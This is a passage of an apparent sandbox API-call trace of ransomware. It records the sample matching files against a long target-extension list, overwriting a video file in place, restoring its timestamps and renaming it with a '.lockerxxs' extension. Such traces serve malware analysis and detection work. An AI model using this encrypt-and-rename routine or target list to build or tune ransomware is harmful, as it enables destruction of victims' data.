nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.563] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.563] CloseHandle (hObject=0x9c) returned 1 [0091.563] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\", lpString2="aDxukSb1yMeVSJlH.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" [0091.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.ems") returned 0 [0091.563] lstrlenA (lpString="*.ems") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.db") returned 0 [0091.564] lstrlenA (lpString="*.db") returned 4 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.dbf") returned 0 [0091.564] lstrlenA (lpString="*.dbf") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.myox") returned 0 [0091.564] lstrlenA (lpString="*.myox") returned 6 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.myo") returned 0 [0091.564] lstrlenA (lpString="*.myo") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qbw") returned 0 [0091.564] lstrlenA (lpString="*.qbw") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qbb") returned 0 [0091.564] lstrlenA (lpString="*.qbb") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qbm") returned 0 [0091.564] lstrlenA (lpString="*.qbm") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qbo") returned 0 [0091.564] lstrlenA (lpString="*.qbo") returned 5 [0091.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qbx") returned 0 [0091.564] lstrlenA (lpString="*.qbx") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qba") returned 0 [0091.565] lstrlenA (lpString="*.qba") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qby") returned 0 [0091.565] lstrlenA (lpString="*.qby") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qbj") returned 0 [0091.565] lstrlenA (lpString="*.qbj") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.ofx") returned 0 [0091.565] lstrlenA (lpString="*.ofx") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.qif") returned 0 [0091.565] lstrlenA (lpString="*.qif") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.mye") returned 0 [0091.565] lstrlenA (lpString="*.mye") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.mbox") returned 0 [0091.565] lstrlenA (lpString="*.mbox") returned 6 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.eml") returned 0 [0091.565] lstrlenA (lpString="*.eml") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.pst") returned 0 [0091.565] lstrlenA (lpString="*.pst") returned 5 [0091.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.ost") returned 0 [0091.565] lstrlenA (lpString="*.ost") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.idx") returned 0 [0091.566] lstrlenA (lpString="*.idx") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.dbx") returned 0 [0091.566] lstrlenA (lpString="*.dbx") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.sql") returned 0 [0091.566] lstrlenA (lpString="*.sql") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.mdb") returned 0 [0091.566] lstrlenA (lpString="*.mdb") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.fdb") returned 0 [0091.566] lstrlenA (lpString="*.fdb") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.wab") returned 0 [0091.566] lstrlenA (lpString="*.wab") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.dat") returned 0 [0091.566] lstrlenA (lpString="*.dat") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.txt") returned 0 [0091.566] lstrlenA (lpString="*.txt") returned 5 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.jpeg") returned 0 [0091.566] lstrlenA (lpString="*.jpeg") returned 6 [0091.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.jpg") returned 0 [0091.567] lstrlenA (lpString="*.jpg") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.png") returned 0 [0091.567] lstrlenA (lpString="*.png") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.php") returned 0 [0091.567] lstrlenA (lpString="*.php") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.cs") returned 0 [0091.567] lstrlenA (lpString="*.cs") returned 4 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.cpp") returned 0 [0091.567] lstrlenA (lpString="*.cpp") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.rar") returned 0 [0091.567] lstrlenA (lpString="*.rar") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.zip") returned 0 [0091.567] lstrlenA (lpString="*.zip") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.html") returned 0 [0091.567] lstrlenA (lpString="*.html") returned 6 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.htm") returned 0 [0091.567] lstrlenA (lpString="*.htm") returned 5 [0091.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.xlsx") returned 0 [0091.567] lstrlenA (lpString="*.xlsx") returned 6 [0091.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.xls") returned 0 [0091.568] lstrlenA (lpString="*.xls") returned 5 [0091.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", pszSpec="*.mp4") returned 1 [0091.568] lstrlenA (lpString="*.mp4") returned 5 [0091.568] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" [0091.568] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" [0091.568] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4." [0091.568] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4.lockerxxs" [0091.568] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\adxuksb1ymevsjlh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0091.571] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17935 [0091.571] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c468da0, dwHighDateTime=0x1d5e361), lpLastAccessTime=0x407536*(dwLowDateTime=0xc66ebb20, dwHighDateTime=0x1d5df24), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc66ebb20, dwHighDateTime=0x1d5df24)) returned 1 [0091.571] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.571] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1790f, lpOverlapped=0x0) returned 1 [0091.574] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4") returned="aDxukSb1yMeVSJlH.mp4" [0091.575] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.575] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1790f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1790f, lpOverlapped=0x0) returned 1 [0091.576] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.576] CloseHandle (hObject=0x9c) returned 1 [0091.576] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\adxuksb1ymevsjlh.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\adxuksb1ymevsjlh.mp4.lockerxxs")) returned 1 [0091.578] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78150bf0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x122a4550, ftLastAccessTime.dwHighDateTime=0x1d5d932, ftLastWriteTime.dwLowDateTime=0x122a4550, ftLastWriteTime.dwHighDateTime=0x1d5d932, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x900030a, dwReserved1=0x4e00c4, cFileName="D7bHqY6ZuOJF51iofGEU", cAlternateFileName="D7BHQY~1")) returned 1 [0091.578] lstrcmpA (lpString1=".", lpString2="D7bHqY6ZuOJF51iofGEU") returned -1 [0091.578] lstrcmpA (lpString1="..", lpString2="D7bHqY6ZuOJF51iofGEU") returned -1 [0091.578] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\aDxukSb1yMeVSJlH.mp4") returned="aDxukSb1yMeVSJlH.mp4" [0091.578] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\", lpString2="D7bHqY6ZuOJF51iofGEU" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU" [0091.578] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU") returned 138 [0091.578] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78150bf0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x122a4550, ftLastAccessTime.dwHighDateTime=0x1d5d932, ftLastWriteTime.dwLowDateTime=0x122a4550, ftLastWriteTime.dwHighDateTime=0x1d5d932, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502718 [0091.578] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.578] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78150bf0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x122a4550, ftLastAccessTime.dwHighDateTime=0x1d5d932, ftLastWriteTime.dwLowDateTime=0x122a4550, ftLastWriteTime.dwHighDateTime=0x1d5d932, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.578] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.579] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.579] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a70a0d0, ftCreationTime.dwHighDateTime=0x1d5e811, ftLastAccessTime.dwLowDateTime=0xfdceb690, 